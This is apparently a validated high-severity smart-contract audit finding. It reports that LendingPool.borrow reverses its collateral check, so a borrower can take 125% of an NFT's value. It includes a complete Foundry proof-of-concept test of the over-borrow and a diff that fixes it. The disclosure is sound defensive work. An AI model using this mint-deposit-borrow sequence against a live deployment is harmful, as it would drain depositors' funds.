Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Users can borrow more than collateral value

Summary

Incorrect collateral checking in LendingPool.borrowfunction will lead to users borrow more asset than deposited collateral amount, which will lead to significant protocol fund loss.

Vulnerability Details

The vulnerability resides in incorrect collateral check in LendingPool.borrow function:

@> if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

Consider the following scenario:

  • collateralValueis 10000 USD

  • liquidationThresholdis 0.8

  • This means userTotalDebtcan be up to 12500 USD

POC

In the following POC, borrower deposits an NFT worth of 10000 USD and borrows 12500 USD.

Create a file test/poc.t.sol with the following content and run forge test poc.t.sol -vvv

pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../contracts/core/tokens/DEToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {IStabilityPool} from "../contracts/interfaces/core/pools/StabilityPool/IStabilityPool.sol";
import {RAACMinter} from "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {crvUSDToken} from "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RAACHousePricesMock {
mapping(uint256 => uint256) public prices;
function getLatestPrice(uint256 tokenId) external view returns (uint256, uint256) {
return (prices[tokenId], block.timestamp);
}
function setTokenPrice(uint256 tokenId, uint256 price) external {
prices[tokenId] = price;
}
function tokenToHousePrice(uint256 tokenId) external view returns (uint256) {
return prices[tokenId];
}
}
contract LendingPoolTest is Test {
using WadRayMath for uint256;
RToken rtoken;
DebtToken debtToken;
RAACToken raacToken;
DEToken deToken;
RAACNFT raacNft;
RAACMinter raacMinter;
crvUSDToken asset;
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePricesMock housePrice;
address depositor = makeAddr("depositor");
address borrower = makeAddr("borrower");
uint256 initialBurnTaxRate = 50;
uint256 initialSwapTaxRate = 100;
uint256 initialPrimeRate = 0.1e27;
function setUp() external {
vm.warp(1e9); // warp time stamp to avoid underflow in RAACMinter constructor
asset = new crvUSDToken(address(this));
housePrice = new RAACHousePricesMock();
debtToken = new DebtToken("DebtToken", "DTK", address(this));
rtoken = new RToken("RToken", "RTK", address(this), address(asset));
raacNft = new RAACNFT(address(asset), address(housePrice), address(this));
lendingPool = new LendingPool(
address(asset), address(rtoken), address(debtToken), address(raacNft), address(housePrice), 0.1e27
);
rtoken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken = new DEToken("DEToken", "DET", address(this), address(rtoken));
raacToken = new RAACToken(address(this), initialSwapTaxRate, initialBurnTaxRate);
raacToken.setMinter(address(this));
stabilityPool = new StabilityPool(address(this));
stabilityPool.initialize(
address(rtoken), address(deToken), address(raacToken), address(this), address(asset), address(lendingPool)
);
lendingPool.setStabilityPool(address(stabilityPool));
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(this));
stabilityPool.setRAACMinter(address(raacMinter));
deToken.setStabilityPool(address(stabilityPool));
}
function testOverBorrow() external {
_deposit(depositor, 20000e18);
_mintNFT(borrower, 1, 10000e18);
_depositNFT(borrower, 1);
uint256 borrowerBalanceBefore = asset.balanceOf(borrower);
_borrow(borrower, 12500e18);
// borrowed amount is 1.25x of deposited NFT's price
assertEq(asset.balanceOf(borrower) - borrowerBalanceBefore, 12500e18);
}
function _deposit(address account, uint256 amount) internal {
deal(address(asset), account, amount);
vm.startPrank(account);
asset.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
vm.stopPrank();
}
function _mintNFT(address account, uint256 tokenId, uint256 price) internal {
housePrice.setTokenPrice(tokenId, price);
deal(address(asset), account, price);
vm.startPrank(account);
asset.approve(address(raacNft), price);
raacNft.mint(tokenId, price);
vm.stopPrank();
assertEq(raacNft.ownerOf(tokenId), account);
}
function _depositNFT(address account, uint256 tokenId) internal {
vm.startPrank(account);
raacNft.approve(address(lendingPool), tokenId);
lendingPool.depositNFT(tokenId);
vm.stopPrank();
assertEq(raacNft.ownerOf(tokenId), address(lendingPool));
}
function _borrow(address account, uint256 amount) internal {
uint256 beforeBalance = asset.balanceOf(account);
vm.startPrank(account);
lendingPool.borrow(amount);
vm.stopPrank();
uint256 afterBalance = asset.balanceOf(account);
assertEq(afterBalance - beforeBalance, amount);
}
}

Impact

Since depositing NFT and borrowing is profitable, attackers can repeat minting NFT -> depositing NFT -> borrow process for multiple times to gain profits. This will lead to protocol's fund loss.

Tools Used

Manual Review, Foundry

Recommendations

The following diff will fix the issue:

diff --git a/contracts/core/pools/LendingPool/LendingPool.sol b/contracts/core/pools/LendingPool/LendingPool.sol
index b02fc97..009d97e 100644
--- a/contracts/core/pools/LendingPool/LendingPool.sol
+++ b/contracts/core/pools/LendingPool/LendingPool.sol
@@ -341,7 +341,7 @@ contract LendingPool is ILendingPool, Ownable, ReentrancyGuard, ERC721Holder, Pa
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
// Ensure the user has enough collateral to cover the new debt
- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!